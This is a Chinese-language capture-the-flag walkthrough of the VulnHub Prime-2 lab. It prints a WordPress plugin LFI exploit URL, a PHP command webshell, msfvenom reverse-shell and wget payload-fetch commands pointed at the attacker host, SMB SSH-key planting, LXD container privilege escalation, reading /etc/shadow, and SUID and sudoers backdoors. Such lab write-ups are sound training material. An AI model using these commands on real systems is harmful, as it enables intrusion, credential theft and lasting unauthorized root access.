prime-2 靶场笔记(vuInhub靶场)

前言:

在本次靶场环境中涉及的知识点,主要包含LFI和SMB以及Lxd组提权,具体内容包括主机探测、端口扫描、目录扫描、wpscan扫描、反弹shell、一句话木马、容器、linux各种提权和维持。

环境介绍:

本靶场使用了kali(192.168.144.128) 靶机Ubuntu系统(192.168.144.179)

靶机下载地址:https://download.vulnhub.com/prime-2021/Prime-2.ova

一:信息收集

1. 主机探测:

当我们下载好靶机时,它是登录不上的,无法使用ifconfig命令查看,我们就需要使用nmap等工具进行探测,找到准确的靶机IP地址。

命令:

nmap -P0 192.168.144.0/24

发现了靶机的IP地址:192.168.144.179

1.1. 端口探测:

使用如下命令进行探测:

nmap -p 1-65535 -A 192.168.144.179

发现有如下端口进行开放并搜集到了开放的服务:

22:ssh OpenSSH 8.4p1 Ubuntu 5ubuntu1 (Ubuntu Linux; protocol 2.0)

80:http Apache/2.4.46 (Ubuntu)

139:netbios-ssn Samba smbd 4.6.2

445:netbios-ssn Samba smbd 4.6.2

10123:http SimpleHTTPServer 0.6 (Python 3.9.4)

1.2. 目录扫描:

先进行web方向的探测:

打开网页,发现没有什么有用的信息,接着进行目录扫描,看看能不能找到隐藏的目录信息:

我使用的是dirb工具,命令如下:

dirb http://192.168.144.179/

发现了如下目录:

http://192.168.144.179/css/

http://192.168.144.179/images/

http://192.168.144.179/server/

http://192.168.144.179/wp/

我每一个都看了一下发现没什么有用的信息,但是这个wordpress先放一下,因为10123端口也是http服务,在看一下那个。

我在.bash_history中发现了这些内容:

复制代码
sudo su -
ifconfig
ls
cd upload/
ls
ls -l
cd ..
ls -l
chmod 755 jarves/

jarves可能是个用户,接着往下找,在something中发现了一点"提示",jarvus确定是用户了

还在upload目录下找到了一个shell.php文件,属于命令注入漏洞,内容如下:

<?php echo system($_GET['cmd']);?>

但是现在还不知道怎么使用。

1.3. wpscan扫描:

好了,现在就剩下wordpress没看了,我在这里使用了wpscan进行漏洞扫描了一下,注意:这里使用了API token(免费的噢~ 但有上限)还没有用过的兄弟们,可以试下。

传送门如下:

【网安神器篇】------WPScan漏洞扫描工具_wpscan下载-CSDN博客

wpscan --url http://192.168.144.179/wp/ --api-token <你的token>

扫描到了LFI漏洞。

二:漏洞利用

2.LFI漏洞(本地文件包含):

访问payload地址:

WordPress Plugin GraceMedia Media Player 1.0 - Local File Inclusion - PHP webapps Exploit

进行利用:(我这里使用了访问源代码的方式,可以看起来更整洁一些)

view-source:192.168.144.179/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd

利用成功,这时可以和之前发现的shell.php进行联用。

view-source:192.168.144.179/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../home/jarves/upload/shell.php&cmd=whoami

利用成功。

2.1.方式一 反弹shell:

使用msf生成一个php脚本

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.144.128 LPORT=6666 -f raw > shell.php

在生成脚本的目录下输入命令:

python -m http.server 8888

靶机进行下载该文件:

使用了wget命令:从kali上下载文件到靶机的/tmp目录下(一般/tmp目录普通用户也具有写的权限)

http://192.168.144.179/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds\&cfg=../../../../../../../../../../home/jarves/upload/shell.php\&cmd=wget http://192.168.144.128:8888/shell.php -O /tmp/shell.php

发现靶机请求了kali的资源,说明写入成功,不相信的话也可以进行查看(使用F12)

http://192.168.144.179/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds\&cfg=../../../../../../../../../../home/jarves/upload/shell.php\&cmd=cat /tmp/shell.php

接着在kali进行监听:

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

set lhost 192.168.144.128

set lport 6666

run

触发请求:

http://192.168.144.179/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds\&cfg=../../../../../../../../../../tmp/shell.php

监听成功。

2.2.方式二 上传一句话木马:

和前面同理:

上传一句话木马文件:

http://192.168.144.179/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds\&cfg=../../../../../../../../../../home/jarves/upload/shell.php\&cmd=wget http://192.168.144.128:8888/shell1.php -O /tmp/shell1.php

收到了靶机的请求,上穿成功,使用蚁剑进行连接。

三:linux权限提升(Lxd提权)

3.SMB介绍:

‌SMB(Server Message Block)服务是一种在局域网上共享文件和打印机的通信协议,主要用于局域网内的不同计算机之间提供文件及打印机等资源的共享服务

查看smb的配置文件:

cat /etc/samba/smb.conf

表明允许没有进行身份验证的访客用户访问通过 net usershare 创建的用户共享资源。

那么我们就可以使用smbclient命令行工具了

3.1.smbclient利用 及 ssh key免密登录::

smbclient

smbclient是一个smb服务器的客户端的管理程序,可以交互式的访问samba服务器。

详细内容请看传送门:

Linux基础命令----smbclient - 一生有你llx - 博客园

查看SMB服务器所提供的所有共享资源:

smbclient -N -L \\\\192.168.144.179

在进行查看你welcome文件夹:

smbclient -N \\\\192.168.144.179\\welcome

尝试写入SSH KEY

创建一个.ssh的文件夹:

在kali上生成ssh key 命令如下:生成的公钥会在/root/.ssh/目录下

ssh-keygen

需要把id_rsa.pub文件名改为authorized_keys(需要进入/root/.ssh目录下)

mv id_rsa.pub authorized_keys

将公钥传入到靶机的.ssh目录下:注意不要进入靶机的.ssh目录下输入如下指令,否则传不进去

put /root/.ssh/authorized_keys .ssh/authorized_keys

使用ssh进行连接:

ssh jarves@192.168.144.179

使用id命令进行查看:发现有Lxd的权限

3.2. Lxd介绍:

Linux Container(LXC)通常被认为是一种轻量级虚拟化技术,它介于Chroot和完整开发的虚拟机之间,LXC可以创建一个跟正常Linux操作系统十分接近的环境,但是不需要使用到单独的内核资源。

传送门如下:

lxd/lxc组提权 - hirak0 - 博客园

3.3. 利用Lxd进行Linux权限提升

需要下载lxd-alpine-builder-master.zip,大家可以通过百度网盘进行下载,在传入kali去。

链接如下:

https://pan.baidu.com/s/1KXmXVuAI4XGoj9CO0cE11A?pwd=tzyr 提取码: tzyr

kali:在压缩包解压后的路径中,如下图所示:

python -m http.server 8888

在靶机输入:(注意路径!!)再靶机中不需要解压!!!

wget 192.168.144.128:8888/alpine-v3.13-x86_64-20210218_0139.tar.gz /alpine-v3.13-x86_64-20210218_0139.tar.gz

命令如下依次输入:

初始化:

lxd init #一直按回车就行

导入镜像:

lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage

查看镜像:

lxc image list

进入容器:

lxc init myimage ignite -c security.privileged=true

lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true

lxc start ignite

lxc exec ignite /bin/sh

权限为root,提权成功。

补充:

mnt目录:

在类 Unix 系统(如 Linux)中是一个用于临时挂载文件系统的目录。这道题是把主机挂在到了容器里面。

四.权限维持:

4. SUID后门:

我在这里拿find命令进行演示:

对find设置为SUID权限(后门创建)

chmod u+s /mnt/root/usr/bin/find

查找SUID文件(普通的用户jarves)

find / -user root -perm -4000 -print 2>/dev/null

复制代码
1. find 命令
find 是一个强大的文件搜索工具,用于在指定目录及其子目录中查找符合特定条件的文件和目录。
2. /
这是 find 命令的搜索起始目录,表示从根目录开始搜索整个文件系统。
3. -user root
该选项用于指定搜索条件,即只查找由 root 用户拥有的文件和目录。在 Unix 系统中,每个文件和目录都有一个所有者,root 用户是系统的超级管理员,拥有最高权限。
4. -perm -4000
这是一个权限搜索条件。在 Unix 系统中,文件权限使用数字表示,每个权限位对应一个数值。4000 对应的是 SUID 权限。
SUID(Set User ID)是一种特殊的文件权限,当一个具有 SUID 权限的可执行文件被执行时,它会以文件所有者的身份运行。对于由 root 用户拥有且设置了 SUID 权限的文件,任何用户执行该文件时,都会以 root 用户的身份运行,这可能会带来安全风险。
- 前缀表示文件必须包含指定的所有权限位,即文件必须设置了 SUID 权限。
5. -print
该选项用于指定 find 命令的操作,即打印符合条件的文件和目录的路径。这是 find 命令的默认操作,所以在实际使用中,-print 可以省略。
6. 2>/dev/null
这是一个重定向操作。在 Unix 系统中,标准错误输出的文件描述符是 2,/dev/null 是一个特殊的设备文件,写入其中的数据会被丢弃。因此,2>/dev/null 的作用是将 find 命令执行过程中产生的错误信息重定向到 /dev/null,从而避免在终端上显示这些错误信息。

在SUID权限中找到了find命令:

touch anyfile #必须要有这个文件

find anyfile -exec cat /etc/shadow \; #可以查看shadow文件了,还想要shell

find . -exec /bin/sh -p \; -quit

python3 -c 'import pty;pty.spawn("/bin/bash")';

//在类 Unix 系统的命令行环境下执行的一条命令,其核心目的是借助 Python 代码创建一个交互式的 Bash shell。

4.1.SUDO后门:

在sudoers中添加后门

echo 'jarves ALL=(ALL:ALL) NOPASSWD:ALL' >> /mnt/root/etc/sudoers

参考文章:

lxd/lxc组提权 - hirak0 - 博客园

https://blog.csdn.net/weixin_45221204/article/details/139530533

相关推荐
大筒木老辈子3 分钟前
Linux笔记---协议定制与序列化/反序列化
网络·笔记
草莓熊Lotso10 分钟前
【C++】递归与迭代:两种编程范式的对比与实践
c语言·开发语言·c++·经验分享·笔记·其他
NiKo_W1 小时前
Linux 初识
linux·运维·服务器
我爱挣钱我也要早睡!3 小时前
Java 复习笔记
java·开发语言·笔记
磊灬泽5 小时前
【日常错误】鼠标无反应
linux·windows
汇能感知8 小时前
摄像头模块在运动相机中的特殊应用
经验分享·笔记·科技
阿巴Jun8 小时前
【数学】线性代数知识点总结
笔记·线性代数·矩阵
茯苓gao8 小时前
STM32G4 速度环开环,电流环闭环 IF模式建模
笔记·stm32·单片机·嵌入式硬件·学习
是誰萆微了承諾9 小时前
【golang学习笔记 gin 】1.2 redis 的使用
笔记·学习·golang
DKPT9 小时前
Java内存区域与内存溢出
java·开发语言·jvm·笔记·学习